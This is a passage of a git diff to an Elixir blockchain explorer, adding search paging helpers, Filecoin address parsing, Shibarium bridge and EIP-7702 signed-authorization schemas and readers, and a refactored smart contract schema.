is_verified_via_admin_panel, + holder_count: holders_count, + name: name, + inserted_at: inserted_at, + type: "token" + }, + _ + ) do + inserted_at_datetime = DateTime.to_iso8601(inserted_at) + + %{ + "circulating_market_cap" => circulating_market_cap, + "fiat_value" => exchange_rate, + "is_verified_via_admin_panel" => is_verified_via_admin_panel, + "holder_count" => holders_count, + "name" => name, + "inserted_at" => inserted_at_datetime + } + end + + defp paging_params( + %{ + certified: certified, + name: name, + inserted_at: inserted_at, + type: "contract" + }, + _ + ) do + inserted_at_datetime = DateTime.to_iso8601(inserted_at) + + %{ + "certified" => certified, + "name" => name, + "inserted_at" => inserted_at_datetime + } + end + + defp paging_params( + %{ + address_hash: address_hash, + type: "metadata_tag", + addresses_index: addresses_index, + metadata: %{"slug" => slug} + }, + %{ + metadata_next_page_params: metadata_next_page_params, + first_element_of_the_next_page: first_element_of_the_next_page + } + ) do + next_page_params = + if(metadata_tag?(first_element_of_the_next_page), + do: metadata_tag_to_paging_params(first_element_of_the_next_page), + else: metadata_next_page_params + ) + + %{ + "address_hash" => address_hash, + "metadata_next_page_params" => + if(metadata_tag?(first_element_of_the_next_page), + do: metadata_tag_to_paging_params(first_element_of_the_next_page), + else: metadata_next_page_params + ), + "end_of_tags" => is_nil(next_page_params), + "addresses_index" => + if(metadata_tag?(first_element_of_the_next_page) && first_element_of_the_next_page[:metadata]["slug"] == slug, + do: addresses_index + 1, + else: 0 + ) + } + end + + defp paging_params( + %{type: "tac_operation", tac_operation: %{"timestamp" => timestamp}}, + _ + ) do + %{"page_token" => timestamp |> DateTime.from_iso8601() |> elem(1) |> DateTime.to_unix()} + end + + defp metadata_tag_to_paging_params(%{metadata: metadata}) do + %{"page_token" => "#{metadata["ordinal"]},#{metadata["slug"]},#{metadata["tagType"]}", "page_size" => 50} + end + + defp metadata_tag?(%{type: "metadata_tag"}), do: true + defp metadata_tag?(_), do: false + + @doc """ + Parses paging options from the given parameters when the `next_page_params_type` is "search". + + ## Parameters + + - paging_params: A map containing the paging parameters, including "next_page_params_type". + + ## Returns + + A keyword list with paging options, where key is the map with the parsed paging options. + """ + @spec parse_paging_options(map()) :: [paging_options: PagingOptions.t()] + def parse_paging_options(%{"next_page_params_type" => "search"} = paging_params) do + key = + Enum.reduce(@paginated_types, %{}, fn type, acc -> + if Map.has_key?(paging_params, type) do + Map.put(acc, type, paging_options(paging_params[type])) + else + acc + end + end) + + [paging_options: %{default_paging_options() | key: key}] + end + + def parse_paging_options(_) do + [paging_options: default_paging_options()] + end + + defp paging_options(paging_options) when is_map(paging_options) do + paging_options + end + + defp paging_options(_), do: nil + + defp parse_possible_nil(""), do: nil + defp parse_possible_nil("null"), do: nil + defp parse_possible_nil(other), do: other + + @spec maybe_parse_filecoin_address(binary()) :: + :ignore + | {:ok, Explorer.Chain.Filecoin.IDAddress.t()} + | {:ok, Explorer.Chain.Filecoin.NativeAddress.t()} + | :error + def maybe_parse_filecoin_address(string) + + if @chain_type == :filecoin do + def maybe_parse_filecoin_address(string) do + # credo:disable-for-lines:2 Credo.Check.Design.AliasUsage + id_address_result = Explorer.Chain.Filecoin.IDAddress.cast(string) + native_address_result = Explorer.Chain.Filecoin.NativeAddress.cast(string) + + cond do + match?({:ok, _id_address}, id_address_result) -> + id_address_result + + match?({:ok, _native_address}, native_address_result) -> + native_address_result + + true -> + :error + end + end + else + def maybe_parse_filecoin_address(_), do: :ignore + end + + @spec address_by_filecoin_id_or_robust( + Explorer.Chain.Filecoin.IDAddress.t() + | Explorer.Chain.Filecoin.NativeAddress.t() + ) :: Ecto.Query.t() | nil + def address_by_filecoin_id_or_robust(address) + + if @chain_type == :filecoin do + def address_by_filecoin_id_or_robust(%Explorer.Chain.Filecoin.IDAddress{} = id) do + base_filecoin_address_query() + |> where([address], address.filecoin_id == ^id) + end + + def address_by_filecoin_id_or_robust(%Explorer.Chain.Filecoin.NativeAddress{} = robust) do + base_filecoin_address_query() + |> where([address], address.filecoin_robust == ^robust) + end + + defp base_filecoin_address_query do + address_search_fields = + search_fields() + |> Map.put(:address_hash, dynamic([address: address], address.hash)) + |> Map.put(:type, "address") + |> Map.put(:name, dynamic([address_name: address_name], address_name.name)) + |> Map.put(:inserted_at, dynamic([address: address], address.inserted_at)) + |> Map.put(:verified, dynamic([address: address], address.verified)) + |> Map.put(:certified, dynamic([smart_contract: smart_contract], smart_contract.certified)) + + base_address_query() + |> join( + :left, + [address: address], + address_name in Address.Name, + on: address.hash == address_name.address_hash, + as: :address_name + ) + |> select(^address_search_fields) + end + else + def address_by_filecoin_id_or_robust(_), do: nil + end +end diff --git a/apps/explorer/lib/explorer/chain/shibarium/bridge.ex b/apps/explorer/lib/explorer/chain/shibarium/bridge.ex new file mode 100644 index 000000000000..374bf2ae8d37 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/shibarium/bridge.ex @@ -0,0 +1,67 @@ +defmodule Explorer.Chain.Shibarium.Bridge do + @moduledoc "Models Shibarium Bridge operation." + + use Explorer.Schema + + alias Explorer.Chain.{ + Address, + Block, + Hash, + Transaction + } + + @optional_attrs ~w(amount_or_id erc1155_ids erc1155_amounts l1_transaction_hash l1_block_number l2_transaction_hash l2_block_number timestamp)a + + @required_attrs ~w(user operation_hash operation_type token_type)a + + @allowed_attrs @optional_attrs ++ @required_attrs + + @typedoc """ + * `user_address` - address of the user that initiated operation + * `user` - foreign key of `user_address` + * `amount_or_id` - amount of the operation or NFT id (in case of ERC-721 token) + * `erc1155_ids` - an array of ERC-1155 token ids (when batch ERC-1155 token transfer) + * `erc1155_amounts` - an array of corresponding ERC-1155 token amounts (when batch ERC-1155 token transfer) + * `l1_transaction_hash` - transaction hash for L1 side + * `l1_block_number` - block number of `l1_transaction` + * `l2_transaction` - transaction hash for L2 side + * `l2_transaction_hash` - foreign key of `l2_transaction` + * `l2_block_number` - block number of `l2_transaction` + * `operation_hash` - keccak256 hash of the operation calculated as follows: ExKeccak.hash_256(user, amount_or_id, erc1155_ids, erc1155_amounts, operation_id) + * `operation_type` - `deposit` or `withdrawal` + * `token_type` - `bone` or `eth` or `other` + * `timestamp` - timestamp of the operation block (L1 block for deposit, L2 block - for withdrawal) + """ + @primary_key false + typed_schema "shibarium_bridge" do + belongs_to(:user_address, Address, foreign_key: :user, references: :hash, type: Hash.Address, null: false) + field(:amount_or_id, :decimal) + field(:erc1155_ids, {:array, :decimal}) + field(:erc1155_amounts, {:array, :decimal}) + field(:operation_hash, Hash.Full, primary_key: true, null: false) + field(:operation_type, Ecto.Enum, values: [:deposit, :withdrawal], null: false) + field(:l1_transaction_hash, Hash.Full, primary_key: true) + field(:l1_block_number, :integer) :: Block.block_number() | nil + + belongs_to(:l2_transaction, Transaction, + foreign_key: :l2_transaction_hash, + references: :hash, + type: Hash.Full, + primary_key: true + ) + + field(:l2_block_number, :integer) :: Block.block_number() | nil + field(:token_type, Ecto.Enum, values: [:bone, :eth, :other], null: false) + field(:timestamp, :utc_datetime_usec) + + timestamps() + end + + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Schema.t() + def changeset(%__MODULE__{} = module, attrs \\ %{}) do + module + |> cast(attrs, @allowed_attrs) + |> validate_required(@required_attrs) + |> unique_constraint([:operation_hash, :l1_transaction_hash, :l2_transaction_hash]) + end +end diff --git a/apps/explorer/lib/explorer/chain/shibarium/reader.ex b/apps/explorer/lib/explorer/chain/shibarium/reader.ex new file mode 100644 index 000000000000..59700c757549 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/shibarium/reader.ex @@ -0,0 +1,121 @@ +defmodule Explorer.Chain.Shibarium.Reader do + @moduledoc "Contains read functions for Shibarium modules." + + import Ecto.Query, + only: [ + from: 2, + limit: 2 + ] + + import Explorer.Chain, only: [default_paging_options: 0, select_repo: 1] + + alias Explorer.Chain.Shibarium.Bridge + alias Explorer.PagingOptions + + @doc """ + Returns a list of completed Shibarium deposits to display them in UI. + """ + @spec deposits(list()) :: list() + def deposits(options \\ []) do + paging_options = Keyword.get(options, :paging_options, default_paging_options()) + + case paging_options do + %PagingOptions{key: {0}} -> + [] + + _ -> + base_query = + from( + sb in Bridge, + where: sb.operation_type == :deposit and not is_nil(sb.l1_block_number) and not is_nil(sb.l2_block_number), + select: %{ + l1_block_number: sb.l1_block_number, + l1_transaction_hash: sb.l1_transaction_hash, + l2_transaction_hash: sb.l2_transaction_hash, + user: sb.user, + timestamp: sb.timestamp + }, + order_by: [desc: sb.l1_block_number] + ) + + base_query + |> page_deposits(paging_options) + |> limit(^paging_options.page_size) + |> select_repo(options).all() + end + end + + @doc """ + Returns a total number of completed Shibarium deposits. + """ + @spec deposits_count(list()) :: term() | nil + def deposits_count(options \\ []) do + query = + from( + sb in Bridge, + where: sb.operation_type == :deposit and not is_nil(sb.l1_block_number) and not is_nil(sb.l2_block_number) + ) + + select_repo(options).aggregate(query, :count, timeout: :infinity) + end + + @doc """ + Returns a list of completed Shibarium withdrawals to display them in UI. + """ + @spec withdrawals(list()) :: list() + def withdrawals(options \\ []) do + paging_options = Keyword.get(options, :paging_options, default_paging_options()) + + case paging_options do + %PagingOptions{key: 0} -> + [] + + _ -> + base_query = + from( + sb in Bridge, + where: + sb.operation_type == :withdrawal and not is_nil(sb.l1_block_number) and not is_nil(sb.l2_block_number), + select: %{ + l2_block_number: sb.l2_block_number, + l2_transaction_hash: sb.l2_transaction_hash, + l1_transaction_hash: sb.l1_transaction_hash, + user: sb.user, + timestamp: sb.timestamp + }, + order_by: [desc: sb.l2_block_number] + ) + + base_query + |> page_withdrawals(paging_options) + |> limit(^paging_options.page_size) + |> select_repo(options).all() + end + end + + @doc """ + Returns a total number of completed Shibarium withdrawals. + """ + @spec withdrawals_count(list()) :: term() | nil + def withdrawals_count(options \\ []) do + query = + from( + sb in Bridge, + where: sb.operation_type == :withdrawal and not is_nil(sb.l1_block_number) and not is_nil(sb.l2_block_number) + ) + + select_repo(options).aggregate(query, :count, timeout: :infinity) + end + + defp page_deposits(query, %PagingOptions{key: nil}), do: query + + defp page_deposits(query, %PagingOptions{key: {block_number}}) do + from(item in query, where: item.l1_block_number < ^block_number) + end + + defp page_withdrawals(query, %PagingOptions{key: nil}), do: query + + defp page_withdrawals(query, %PagingOptions{key: {block_number}}) do + from(item in query, where: item.l2_block_number < ^block_number) + end +end diff --git a/apps/explorer/lib/explorer/chain/signed_authorization.ex b/apps/explorer/lib/explorer/chain/signed_authorization.ex new file mode 100644 index 000000000000..ad40466b0792 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/signed_authorization.ex @@ -0,0 +1,155 @@ +defmodule Explorer.Chain.SignedAuthorization do + @moduledoc "Models a transaction extension with authorization tuples from eip7702 set code transactions." + + use Explorer.Schema + + alias Explorer.Chain.{Cache.ChainId, Data, Hash, Transaction} + + @optional_attrs ~w(authority status)a + @required_attrs ~w(transaction_hash index chain_id address nonce r s v)a + + @typedoc """ + Descriptor of the signed authorization tuple from EIP-7702 set code transactions: + * `transaction_hash` - the hash of the associated transaction. + * `index` - the index of this authorization in the authorization list. + * `chain_id` - the ID of the chain for which the authorization was created. + * `address` - the address of the delegate contract. + * `nonce` - the signature nonce. + * `v` - the 'v' component of the signature. + * `r` - the 'r' component of the signature. + * `s` - the 's' component of the signature. + * `authority` - the signer of the authorization. + * `status` - the status of the authorization. + """ + @type to_import :: %{ + transaction_hash: binary(), + index: non_neg_integer(), + chain_id: non_neg_integer() | Decimal.t(), + address: binary(), + nonce: non_neg_integer() | Decimal.t(), + r: non_neg_integer(), + s: non_neg_integer(), + v: non_neg_integer(), + authority: binary() | nil, + status: :ok | :invalid_chain_id | :invalid_signature | :invalid_nonce | nil + } + + @typedoc """ + * `transaction_hash` - the hash of the associated transaction. + * `index` - the index of this authorization in the authorization list. + * `chain_id` - the ID of the chain for which the authorization was created. + * `address` - the address of the delegate contract. + * `nonce` - the signature nonce. + * `v` - the 'v' component of the signature. + * `r` - the 'r' component of the signature. + * `s` - the 's' component of the signature. + * `authority` - the signer of the authorization. + * `status` - the validity status of the authorization. + * `inserted_at` - timestamp indicating when the signed authorization was created. + * `updated_at` - timestamp indicating when the signed authorization was last updated. + * `transaction` - an instance of `Explorer.Chain.Transaction` referenced by `transaction_hash`. + """ + @primary_key false + typed_schema "signed_authorizations" do + field(:index, :integer, primary_key: true, null: false) + field(:chain_id, :decimal, null: false) + field(:address, Hash.Address, null: false) + field(:nonce, :decimal, null: false) + field(:r, :decimal, null: false) + field(:s, :decimal, null: false) + field(:v, :integer, null: false) + field(:authority, Hash.Address, null: true) + field(:status, Ecto.Enum, values: [:ok, :invalid_chain_id, :invalid_signature, :invalid_nonce], null: true) + + belongs_to(:transaction, Transaction, + foreign_key: :transaction_hash, + primary_key: true, + references: :hash, + type: Hash.Full + ) + + timestamps() + end + + @local_fields [:__meta__, :inserted_at, :updated_at] + + @doc """ + Returns a map representation of the signed authorization. + """ + @spec to_map(__MODULE__.t()) :: map() + def to_map(%__MODULE__{} = struct) do + association_fields = struct.__struct__.__schema__(:associations) + waste_fields = association_fields ++ @local_fields + + struct |> Map.from_struct() |> Map.drop(waste_fields) + end + + @doc """ + Validates that the `attrs` are valid. + """ + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Schema.t() + def changeset(%__MODULE__{} = struct, attrs \\ %{}) do + struct + |> cast(attrs, @required_attrs ++ @optional_attrs) + |> validate_required(@required_attrs) + |> foreign_key_constraint(:transaction_hash) + end + + @doc """ + Converts a `SignedAuthorization.t()` into a map of import params that can be + fed into `Chain.import/1`. It sets synthetic contract code for EIP-7702 proxies + and updates the nonce. + """ + @spec to_address_params(Ecto.Schema.t()) :: %{ + hash: Hash.Address.t(), + contract_code: Data.t() | nil, + nonce: non_neg_integer() + } + def to_address_params(%__MODULE__{} = struct) do + code = + if struct.address.bytes == <<0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0>> do + nil + else + %Data{bytes: <<239, 1, 0>> <> struct.address.bytes} + end + + %{hash: struct.authority, contract_code: code, nonce: struct.nonce |> Decimal.to_integer()} + end + + @doc """ + Does basic validation on a `SignedAuthorization.t()` according to EIP-7702, with + the exception of verifying current authority nonce, which requires calling + `eth_getTransactionCount` JSON-RPC method. + + Authority nonce validity is verified in async `Indexer.Fetcher.SignedAuthorizationStatus` fetcher. + + ## Returns + - `:ok` if the signed authorization is valid and we should proceed with nonce validation. + - `:invalid_chain_id` if the signed authorization is for another chain ID. + - `:invalid_signature` if the signed authorization has an invalid signature. + - `:invalid_nonce` if the signed authorization has an invalid nonce. + - `nil` if the signed authorization status is unknown due to unknown chain ID. + """ + @spec basic_validate(Ecto.Schema.t() | to_import()) :: + :ok | :invalid_chain_id | :invalid_signature | :invalid_nonce | nil + def basic_validate(%{} = struct) do + chain_id = ChainId.get_id() + + cond do + not Decimal.eq?(struct.chain_id, 0) and !is_nil(chain_id) and not Decimal.eq?(struct.chain_id, chain_id) -> + :invalid_chain_id + + not Decimal.eq?(struct.chain_id, 0) and is_nil(chain_id) -> + nil + + struct.nonce |> Decimal.gte?(2 ** 64 - 1) -> + :invalid_nonce + + is_nil(struct.authority) -> + :invalid_signature + + true -> + :ok + end + end +end diff --git a/apps/explorer/lib/explorer/chain/signed_authorization/reader.ex b/apps/explorer/lib/explorer/chain/signed_authorization/reader.ex new file mode 100644 index 000000000000..dd2be17ffb0b --- /dev/null +++ b/apps/explorer/lib/explorer/chain/signed_authorization/reader.ex @@ -0,0 +1,73 @@ +defmodule Explorer.Chain.SignedAuthorization.Reader do + @moduledoc """ + Reads signed authorization data from the database. + """ + + import Ecto.Query, only: [from: 2] + + alias Explorer.Chain.{Block, Hash, SignedAuthorization} + alias Explorer.Repo + + @doc """ + Returns a stream of `Block.t()` for signed authorizations with missing statuses. + + ## Parameters + + - `initial`: The initial accumulator value for the stream. + - `reducer`: A function that processes each entry in the stream, receiving + the entry and the current accumulator, and returning a new accumulator. + + ## Returns + + - `{:ok, accumulator}`: The final accumulator value after streaming through + the block numbers. + """ + @spec stream_blocks_to_refetch_signed_authorizations_statuses( + initial :: accumulator, + reducer :: (entry :: term(), accumulator -> accumulator) + ) :: {:ok, accumulator} + when accumulator: term() + def stream_blocks_to_refetch_signed_authorizations_statuses(initial, reducer) when is_function(reducer, 2) do + query = + from( + b in Block, + join: t in assoc(b, :transactions), + join: s in assoc(t, :signed_authorizations), + where: is_nil(s.status) and b.consensus == true and b.refetch_needed == false, + distinct: true, + select: %{ + block_hash: b.hash, + block_number: b.number + } + ) + + query |> Repo.stream_reduce(initial, reducer) + end + + @doc """ + Returns latest successful authorizations for a list of addresses. + + ## Parameters + + - `address_hashes`: The list of `authority` addresses to fetch authorizations for. + + ## Returns + + - `[%{authority: Hash.Address.t(), nonce: non_neg_integer()}]`: The list of latest + successful authorizations and their nonces for the given addresses, if there are any. + """ + @spec address_hashes_to_latest_authorizations([Hash.Address.t()]) :: [ + %{authority: Hash.Address.t(), nonce: non_neg_integer()} + ] + def address_hashes_to_latest_authorizations(address_hashes) do + query = + from( + s in SignedAuthorization, + where: s.authority in ^address_hashes and s.status == :ok, + select: %{authority: s.authority, nonce: max(s.nonce)}, + group_by: s.authority + ) + + Repo.all(query) + end +end diff --git a/apps/explorer/lib/explorer/chain/smart_contract.ex b/apps/explorer/lib/explorer/chain/smart_contract.ex index dbe79dbd52d6..9b9407285e27 100644 --- a/apps/explorer/lib/explorer/chain/smart_contract.ex +++ b/apps/explorer/lib/explorer/chain/smart_contract.ex @@ -1,3 +1,94 @@ +defmodule Explorer.Chain.SmartContract.Schema do + @moduledoc """ + Models smart-contract. + """ + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + alias Explorer.Chain.SmartContract.ExternalLibrary + + alias Explorer.Chain.{ + Address, + Address.Reputation, + Hash, + SmartContractAdditionalSource + } + + case @chain_type do + :zksync -> + @chain_type_fields quote( + do: [ + field(:optimization_runs, :string), + field(:zk_compiler_version, :string, null: true) + ] + ) + + :arbitrum -> + @chain_type_fields quote( + do: [ + field(:package_name, :string), + field(:github_repository_metadata, :map), + field(:optimization_runs, :integer) + ] + ) + + _ -> + @chain_type_fields quote(do: [field(:optimization_runs, :integer)]) + end + + defmacro generate do + quote do + typed_schema "smart_contracts" do + field(:name, :string, null: false) + field(:compiler_version, :string, null: false) + field(:optimization, :boolean, null: false) + field(:contract_source_code, :string, null: false) + field(:constructor_arguments, :string) + field(:evm_version, :string) + embeds_many(:external_libraries, ExternalLibrary, on_replace: :delete) + field(:abi, {:array, :map}) + field(:verified_via_sourcify, :boolean) + field(:verified_via_eth_bytecode_db, :boolean) + field(:verified_via_verifier_alliance, :boolean) + field(:partially_verified, :boolean) + field(:file_path, :string) + field(:is_vyper_contract, :boolean) + field(:is_changed_bytecode, :boolean, default: false) + field(:bytecode_checked_at, :utc_datetime_usec, default: DateTime.add(DateTime.utc_now(), -86400, :second)) + field(:contract_code_md5, :string, null: false) + field(:compiler_settings, :map) + field(:autodetect_constructor_args, :boolean, virtual: true) + field(:is_yul, :boolean, virtual: true) + field(:metadata_from_verified_bytecode_twin, :boolean, virtual: true) + field(:verified_bytecode_twin_address_hash, Hash.Address, virtual: true) + field(:license_type, Ecto.Enum, values: @license_enum, default: :none) + field(:certified, :boolean) + field(:is_blueprint, :boolean) + field(:language, Ecto.Enum, values: @languages_enum, default: :solidity) + + belongs_to( + :address, + Address, + foreign_key: :address_hash, + references: :hash, + type: Hash.Address, + null: false + ) + + has_many(:smart_contract_additional_sources, SmartContractAdditionalSource, + references: :address_hash, + foreign_key: :address_hash + ) + + has_one(:reputation, Reputation, foreign_key: :address_hash, references: :address_hash) + + timestamps() + + unquote_splicing(@chain_type_fields) + end + end + end +end + defmodule Explorer.Chain.SmartContract do @moduledoc """ The representation of a verified Smart Contract. @@ -9,13 +100,157 @@ defmodule Explorer.Chain.SmartContract do """ require Logger + require Explorer.Chain.SmartContract.Schema use Explorer.Schema + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + alias ABI.FunctionSelector + alias Ecto.{Changeset, Multi} + alias Explorer.{Chain, Repo, SortingHelper} + + alias Explorer.Chain.{ + Address, + ContractMethod, + Data, + DecodingHelper, + Hash, + InternalTransaction, + SmartContract, + SmartContractAdditionalSource, + Transaction + } + + alias Explorer.Chain.Address.Name, as: AddressName + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Chain.SmartContract.{LegacyHelper, Proxy} + alias Explorer.Chain.SmartContract.Proxy.Models.Implementation + alias Explorer.Helper, as: ExplorerHelper + alias Explorer.SmartContract.Helper + alias Explorer.SmartContract.Solidity.Verifier + + @typep api? :: {:api?, true | false} + + @burn_address_hash_string "0x0000000000000000000000000000000000000000" + @dead_address_hash_string "0x000000000000000000000000000000000000dEaD" + + @default_required_attrs ~w(optimization address_hash contract_code_md5 language)a + @chain_type_required_attrs (case @chain_type do + :zilliqa -> ~w()a + _ -> ~w(compiler_version)a + end) + @required_attrs @default_required_attrs ++ @chain_type_required_attrs + + @optional_common_attrs ~w(name contract_source_code evm_version optimization_runs constructor_arguments verified_via_sourcify verified_via_eth_bytecode_db verified_via_verifier_alliance partially_verified file_path is_vyper_contract is_changed_bytecode bytecode_checked_at autodetect_constructor_args license_type certified is_blueprint)a + + @optional_changeset_attrs ~w(abi compiler_settings)a + @optional_invalid_contract_changeset_attrs ~w(autodetect_constructor_args)a + + @chain_type_optional_attrs (case @chain_type do + :zksync -> + ~w(zk_compiler_version)a + + :arbitrum -> + ~w(package_name github_repository_metadata)a + + :zilliqa -> + ~w(compiler_version)a + + _ -> + ~w()a + end) + + @chain_type_attrs_for_validation ~w(contract_source_code)a ++ + (case @chain_type do + :zilliqa -> ~w()a + _ -> ~w(name)a + end) + + @create_zksync_abi [ + %{ + "inputs" => [ + %{"internalType" => "bytes32", "name" => "_salt", "type" => "bytes32"}, + %{"internalType" => "bytes32", "name" => "_bytecodeHash", "type" => "bytes32"}, + %{"internalType" => "bytes", "name" => "_input", "type" => "bytes"} + ], + "name" => "create2", + "outputs" => [%{"internalType" => "address", "name" => "", "type" => "address"}], + "stateMutability" => "payable", + "type" => "function" + }, + %{ + "inputs" => [ + %{"internalType" => "bytes32", "name" => "_salt", "type" => "bytes32"}, + %{"internalType" => "bytes32", "name" => "_bytecodeHash", "type" => "bytes32"}, + %{"internalType" => "bytes", "name" => "_input", "type" => "bytes"} + ], + "name" => "create", + "outputs" => [%{"internalType" => "address", "name" => "", "type" => "address"}], + "stateMutability" => "payable", + "type" => "function" + } + ] + + @default_languages [ + solidity: 1, + vyper: 2, + yul: 3, + geas: 5 + ] + + @chain_type_languages (case @chain_type do + :arbitrum -> + [stylus_rust: 4] + + :zilliqa -> + [scilla: 4] + + _ -> + [] + end) + + @languages_enum @default_languages ++ @chain_type_languages + @language_string_to_atom @languages_enum + |> Enum.map(&elem(&1, 0)) + |> Map.new(&{to_string(&1), &1}) + + @type base_language :: :solidity | :vyper | :yul | :geas + + case @chain_type do + :arbitrum -> + @type language :: base_language() | :stylus_rust + + :zilliqa -> + @type language :: base_language() | :scilla + + _ -> + @type language :: base_language() + end - alias Ecto.Changeset - alias Explorer.{Chain, Repo} - alias Explorer.Chain.{Address, ContractMethod, DecompiledSmartContract, Hash} - alias Explorer.Chain.SmartContract.ExternalLibrary + @doc """ + Returns list of languages supported by the database schema. + """ + @spec language_string_to_atom() :: %{String.t() => atom()} + def language_string_to_atom do + @language_string_to_atom + end + + @doc """ + Returns burn address hash + """ + @spec burn_address_hash_string() :: EthereumJSONRPC.address() + def burn_address_hash_string do + @burn_address_hash_string + end + + @doc """ + Returns dead address hash + """ + @spec dead_address_hash_string() :: EthereumJSONRPC.address() + def dead_address_hash_string do + @dead_address_hash_string + end @typedoc """ The name of a parameter to a function or event. @@ -163,9 +398,9 @@ defmodule Explorer.Chain.SmartContract do * `"outputs" - `t:list/0` of `t:output/0`. * `"stateMutability"` - `t:state_mutability/0` * `"payable"` - `t:payable/0`. - **WARNING:** Deprecated and will be removed in the future. Use `"stateMutability"` instead. + **WARNING:** Deprecated and will be removed in the future. Use `"stateMutability"` instead. * `"constant"` - `t:constant/0`. - **WARNING:** Deprecated and will be removed in the future. Use `"stateMutability"` instead. + **WARNING:** Deprecated and will be removed in the future. Use `"stateMutability"` instead. """ @type function_description :: %{ String.t() => @@ -183,10 +418,53 @@ defmodule Explorer.Chain.SmartContract do """ @type abi :: [event_description | function_description] + @doc """ + 1. No License (None) + 2. The Unlicense (Unlicense) + 3. MIT License (MIT) + 4. GNU General Public License v2.0 (GNU GPLv2) + 5. GNU General Public License v3.0 (GNU GPLv3) + 6. GNU Lesser General Public License v2.1 (GNU LGPLv2.1) + 7. GNU Lesser General Public License v3.0 (GNU LGPLv3) + 8. BSD 2-clause "Simplified" license (BSD-2-Clause) + 9. BSD 3-clause "New" Or "Revised" license* (BSD-3-Clause) + 10. Mozilla Public License 2.0 (MPL-2.0) + 11. Open Software License 3.0 (OSL-3.0) + 12. Apache 2.0 (Apache-2.0) + 13. GNU Affero General Public License (GNU AGPLv3) + 14. Business Source License (BSL 1.1) + """ + @license_enum [ + none: 1, + unlicense: 2, + mit: 3, + gnu_gpl_v2: 4, + gnu_gpl_v3: 5, + gnu_lgpl_v2_1: 6, + gnu_lgpl_v3: 7, + bsd_2_clause: 8, + bsd_3_clause: 9, + mpl_2_0: 10, + osl_3_0: 11, + apache_2_0: 12, + gnu_agpl_v3: 13, + bsl_1_1: 14 + ] + @typedoc """ * `name` - the human-readable name of the smart contract. * `compiler_version` - the version of the Solidity compiler used to compile `contract_source_code` with `optimization` into `address` `t:Explorer.Chain.Address.t/0` `contract_code`. + #{case @chain_type do + :zksync -> """ + * `zk_compiler_version` - the version of ZkSolc or ZkVyper compilers. + """ + :arbitrum -> """ + * `package_name` - package name of stylus contract. + * `github_repository_metadata` - map with repository details. + """ + _ -> "" + end} * `optimization` - whether optimizations were turned on when compiling `contract_source_code` into `address` `t:Explorer.Chain.Address.t/0` `contract_code`. * `contract_source_code` - the Solidity source code that was compiled by `compiler_version` with `optimization` to @@ -194,107 +472,39 @@ defmodule Explorer.Chain.SmartContract do * `abi` - The [JSON ABI specification](https://solidity.readthedocs.io/en/develop/abi-spec.html#json) for this contract. * `verified_via_sourcify` - whether contract verified through Sourcify utility or not. + * `verified_via_eth_bytecode_db` - whether contract automatically verified via eth-bytecode-db or not. + * `verified_via_verifier_alliance` - whether contract automatically verified via Verifier Alliance or not. * `partially_verified` - whether contract verified using partial matched source code or not. * `is_vyper_contract` - boolean flag, determines if contract is Vyper or not * `file_path` - show the filename or path to the file of the contract source file - * `is_changed_bytecode` - boolean flag, determines if contract's bytecode was modified + * `is_changed_bytecode` - boolean flag, determines if contract's bytecode was modified * `bytecode_checked_at` - timestamp of the last check of contract's bytecode matching (DB and BlockChain) * `contract_code_md5` - md5(`t:Explorer.Chain.Address.t/0` `contract_code`) - * `implementation_name` - name of the proxy implementation + * `compiler_settings` - raw compilation parameters * `autodetect_constructor_args` - field was added for storing user's choice + * `is_yul` - field was added for storing user's choice + * `certified` - boolean flag, which can be set for set of smart-contracts via runtime env variable to prioritize those smart-contracts in the search. + * `is_blueprint` - boolean flag, determines if contract is ERC-5202 compatible blueprint contract or not. + * `language` - Specifies the programming language of this smart contract. Do + not access this field directly, use + `Explorer.Chain.SmartContract.language/1` instead. """ + Explorer.Chain.SmartContract.Schema.generate() - @type t :: %Explorer.Chain.SmartContract{ - name: String.t(), - compiler_version: String.t(), - optimization: boolean, - contract_source_code: String.t(), - constructor_arguments: String.t() | nil, - evm_version: String.t() | nil, - optimization_runs: non_neg_integer() | nil, - abi: [function_description], - verified_via_sourcify: boolean | nil, - partially_verified: boolean | nil, - file_path: String.t(), - is_vyper_contract: boolean | nil, - is_changed_bytecode: boolean, - bytecode_checked_at: DateTime.t(), - contract_code_md5: String.t(), - implementation_name: String.t() | nil, - autodetect_constructor_args: boolean | nil - } - - schema "smart_contracts" do - field(:name, :string) - field(:compiler_version, :string) - field(:optimization, :boolean) - field(:contract_source_code, :string) - field(:constructor_arguments, :string) - field(:evm_version, :string) - field(:optimization_runs, :integer) - embeds_many(:external_libraries, ExternalLibrary) - field(:abi, {:array, :map}) - field(:verified_via_sourcify, :boolean) - field(:partially_verified, :boolean) - field(:file_path, :string) - field(:is_vyper_contract, :boolean) - field(:is_changed_bytecode, :boolean, default: false) - field(:bytecode_checked_at, :utc_datetime_usec, default: DateTime.add(DateTime.utc_now(), -86400, :second)) - field(:contract_code_md5, :string) - field(:implementation_name, :string) - field(:autodetect_constructor_args, :boolean, virtual: true) - - has_many( - :decompiled_smart_contracts, - DecompiledSmartContract, - foreign_key: :address_hash - ) - - belongs_to( - :address, - Address, - foreign_key: :address_hash, - references: :hash, - type: Hash.Address - ) - - timestamps() - end + def changeset(%__MODULE__{} = smart_contract, attrs) do + attrs_to_cast = + @required_attrs ++ + @optional_common_attrs ++ + @optional_changeset_attrs ++ + @chain_type_optional_attrs - def preload_decompiled_smart_contract(contract) do - Repo.preload(contract, :decompiled_smart_contracts) - end + required_for_validation = + @required_attrs ++ + @chain_type_attrs_for_validation - def changeset(%__MODULE__{} = smart_contract, attrs) do smart_contract - |> cast(attrs, [ - :name, - :compiler_version, - :optimization, - :contract_source_code, - :address_hash, - :abi, - :constructor_arguments, - :evm_version, - :optimization_runs, - :verified_via_sourcify, - :partially_verified, - :file_path, - :is_vyper_contract, - :is_changed_bytecode, - :bytecode_checked_at, - :contract_code_md5, - :implementation_name - ]) - |> validate_required([ - :name, - :compiler_version, - :optimization, - :contract_source_code, - :abi, - :address_hash, - :contract_code_md5 - ]) + |> cast(attrs, attrs_to_cast) + |> validate_required(required_for_validation) |> 